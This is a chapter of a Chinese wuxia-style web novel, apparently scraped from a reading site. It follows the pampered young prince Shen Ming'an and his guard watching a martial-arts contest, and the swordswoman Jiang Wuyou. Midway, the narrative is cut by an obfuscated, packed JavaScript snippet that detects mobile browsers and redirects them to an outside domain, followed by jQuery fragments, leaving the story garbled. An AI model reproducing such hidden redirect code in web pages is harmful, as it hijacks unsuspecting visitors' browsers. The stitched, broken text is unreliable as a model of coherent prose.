要说沈明安在京中的地位,真是特殊得很。
若让知情人来数一国之内最尊贵的人,两只手还用不完便要数到沈明安了。
先帝共有六子,而四子早夭,余下五子分别分成两派,一派是太子党,由五皇子和六皇子支持,另一派则是三皇子党,受二皇子支持。
前朝太子名正言顺,乃是先帝的嫡长子,可二皇子三皇子一母同胞,三皇子又天资聪颖,少能过目不忘,谋略非常,参与到夺嫡之争也不足为奇。
当今圣上便是前朝三皇子。
而同皇上一母同胞又在夺嫡过程中助力非常的哥哥二皇子则被封成了宁王,其圣恩隆重,地位绝非一般王爷能比。
沈明安便是宁王的嫡长子,也是宁王唯一的孩子。
可世事难料,这位极受皇帝信任尊重的王爷竟英年早逝,留下幼子沈明安不过两三岁罢了。
皇帝大恸,竟当朝抹泪,随后给予了宁王极高的葬礼规格,又怜惜宁王妃丧夫后还要一边当家一边照料幼子,赏赐的各类名珍异宝不计其数。
百姓臣子们无不感慨皇帝与宁王之间深厚的兄弟情,这在帝王之家实数能得,实在可遇而不可求。
而宁王虽逝,皇帝仍是挂心宁王府,又有谁敢看清了宁王妃和小世子?
更别说小世子生的是明眸雪肤,极得皇帝和皇太后喜爱,每逢佳节,必定都传旨给接到宫中去。
而皇上对宁王唯一的儿子沈明安疼宠非常,有求并应,是几位皇子公主都没有的待遇。皇太后亦然,也是最疼此子。
毫不夸张的说,只要是这世上有的东西,就没有沈明安得不到的。
再后来,约莫是沈明安五六岁的时候,民间大有传闻说宁王妃同她在西域的旧相识男子来往过密,恐有不堪。
天子闻之大怒,随将她关至府内禁闭,随后一两年内宁王妃也去世了。
宁王府内的主子便只剩下小世子同宁王从前的两个侍妾,皇帝下旨把小世子接进了宫,吃穿用度皆是与皇子一般。于是宁王府的大多仆从都遣散了去,而宁王府的管家乃是宁王身边的老人了,还仍由他管着府中事务及府外的田产铺子等财产。
那两个侍妾身份尴尬,又无子嗣,一个去了尼姑庵,一个回了娘家。
直至沈明安长到十二岁,这才叫他回了宁王府。
也只是此时,沈明安被加封为王,成为了当朝年纪最小的王。
而如今,他仍是宫中的常客。
这份荣宠,莫说在当朝当代是独一份,就是古往今来也是非常少见的。
而难得,沈明安竟没被养成个纨绔子弟,他知书识礼,对待下人也还算谦和。
他用度讲究,却不寻求奢靡,无心朝堂政事,也不醉心于声色,没什么偏好,也没什么欲望,好像对一切都是漫不经心。
也是,他从没缺过什么,可不就被养成了这样的性子吗?
为一睹争先会盛况,姜无忧可是起了个大早。
她轻手轻脚地起来,并未吵醒还在熟睡之中的卢小意,从包袱里拿出一柄短剑,这是她最趁手的两件武器中的其中一件。
另一件则是一柄长剑,是大师兄游走外地专门给自己带回来的宝剑,姜无忧离谷时候好纠结了一番是否也带上,最后还是为了行走便利而把那长剑留在了灵谷之中。
她轻抚剑身,眼中既有柔情亦有踊跃。
前脚一踏出客栈门,姜无忧便感到尤为的神清气爽。
想来能够遇到江湖上的武功高手,与其交手,甚至结缘为友,可不就是女侠行走江湖的第一步嘛!
纵然已做好了心理准备,真看到争先会的盛况时,姜无忧还是深感震撼,而这份震撼又化作了跃跃欲试的兴奋。
而在她没注意到的角落之中,有一青年同一少年气度不凡,也正在注视着台上。
那少年面庞白皙,身穿浅蓝色绸缎长袍,一根白玉腰带衬得他腰细腿长,腰间挂着的玉佩则是彰显着他超凡的财力和不凡的身份。而右后方的青年约莫二十出头,一身黑衣干练利索,同样是高挑细瘦的身形,却面色冷峻,叫人不敢轻易接近,甚至是,不敢直视。
过了约一炷香的时间,比试开始了。
这一场比试乃是由承办的武馆胜武堂里的两位教习先生来进行,具有表演意味,是为打头暖场。
两位俱是身形结实健壮的中年汉子,他们手持长矛,刚一上场就赢得了连连掌声和叫好声。
大抵是颇有名气的两人,故而才如此受欢迎,姜无忧暗自想到。
他们走到台中间,拱着手向台下的众人行了礼。
紧接着,身量较矮的那个便先出手了,难以驾驭的长矛在他手中如同小儿玩具一般,被直直向另一人刺去。
这一动作迅速非常,必是用了真功夫的,绝非假模假样。
台下众人大多都屏气凝神,为身量较高那位提着一口气。
而被刺那位果然不辜负大家的专注,他灵活转动身躯,捉住了个与对方挨近的机会,手腕轻挑就要把矛头划在其腰间。
对方见此则是左手持矛,右手运力狠狠拍出一掌,顿时两人拉开了距离。
不过短短一个小回合就叫观者拍手叫好,台下小声称赞胜武堂实力更胜从前的人更是数不胜数。
那少年向青年问道:“若是我与这二人交手,可能胜过?”
黑衣青年言辞谨慎,说道:“若是持长剑比试,公子胜过台上二人并无悬念;若是持长矛,公子不如此二人;若是空手搏斗或是拼短刃,只怕难分胜负,如抓了对方破绽,公子或也能够险胜。”
少年说道:“不出一年,无论比什么,我必定都胜过此二人。”
黑衣青年颔首默许。
台上的人已经换了几轮。
按争先会的规矩,年龄体型不限,独要求交手双方要用一样的武器,即刀对刀,剑对剑,而上台者为避免受伤,倒是赤手空拳得多。
少年冷声道:“我竟是没看出个出挑的。”
黑衣青年仍是不语默许。
少年补充道:“便是有,也年纪大了,不堪为用。看来我还真是来错地方了。”
黑衣青年声音低沉冰冷,语气倒很恭敬,“公子,要找功夫非凡天赋异禀的少年本非易事,当下这争先会还未过半,倒不妨再看看。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477643|185610||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“我没说要走。”
“是。”
少年不喜有人近身,奈何争先会台下人实在密集,避无可避,眼看左侧的中年男子挥着手就要沾到自己的衣袖,他嫌恶地皱了眉,轻轻转身避开。
“诶!看见没,上台那个是杨家拳馆的得意生员!”
“杨家拳馆的?到底是个少年,能行吗?”
“我记得他,这可是馆主的得意门生,年纪小又怎么了?没听说过英雄出少年啊。”
“老李,你没白送儿子去学拳,还认得馆主的得意门生了。”
被称老李的汉子丝毫没听出对方话里的讽刺,满脸骄傲,“那可不!我儿子将来若能学成他这般,也不算我老李白花了钱!”
“行了,动手了,快看吧。”
老李口中啧啧两声,叹道:“长剑对长剑啊。”
少年把这两个中年汉子的对话全听进了,边看台上那少年剑影翩翩,边问那黑衣青年,“这个怎么样?”
“基本功还算扎实,动作也舒展,但到底是花架子了。”
少年笑了一声,“那就是你没看上了。”
台上那位杨家拳馆馆主的得意门生正是周景云。
他本就为今日的争先会踌躇满志,不料前一日却碰了个冷钉子——败给了个清秀的小姑娘。虽说人外有人天外有天的道理他明白,可那份想要便快速提升自己、证明自己的心更盛许多。
同他交手的则是个约莫二十五六岁的青年,陌生面孔,浓眉大眼,出手刁钻,招招式式竟是虚实难辨。
于是周景云出手越发迅疾,招式凌厉,比平日中同馆内生员比试交手的样子简直是判若两人。
少年道:“倒是个有心气儿的。”
黑刃道:“不免失于急躁。”
“若我是台上任你评判功夫的少年,也必然得不到你的青眼了。”
黑刃神色灰暗,心中莫名,实在不知为何少年竟出此言。
“没别的意思,接着看吧。”
“是。”
少年把余光从黑刃的侧脸上收回,心中一涩。
黑刃不擅言辞,是自己能完全信任的帮手,他没有家人,没有朋友,甚至没有喜好和欲望,唯一的任务就是保护自己,为自己做事。
可旁人哪里知道,他是多么羡慕黑刃习武的天资。
若是同黑刃一般,一生只为着一个目标而活,又是何尝轻松,何尝简单。
咣当。
台上青年的长剑被周景云打落在地。
少年飘摇的思绪也被这声响也拉回。
台上周景云风姿绰约,双手抱拳,“承认了。”
顿时,台下叫好声连绵震耳。
少年道:“他赢了。”
黑刃点头,未等开口便被少年打断,“你想说,是因为遇上的对手并非高手?”
“是。”
少年赞同地点了点头。
要争,就在高手中拼搏。
要赢,就在群英中取胜。
世上的高手不计其数,而他需做的就是不断驱策自己,向前跑,向高爬,直至到顶尖处,睥睨众生。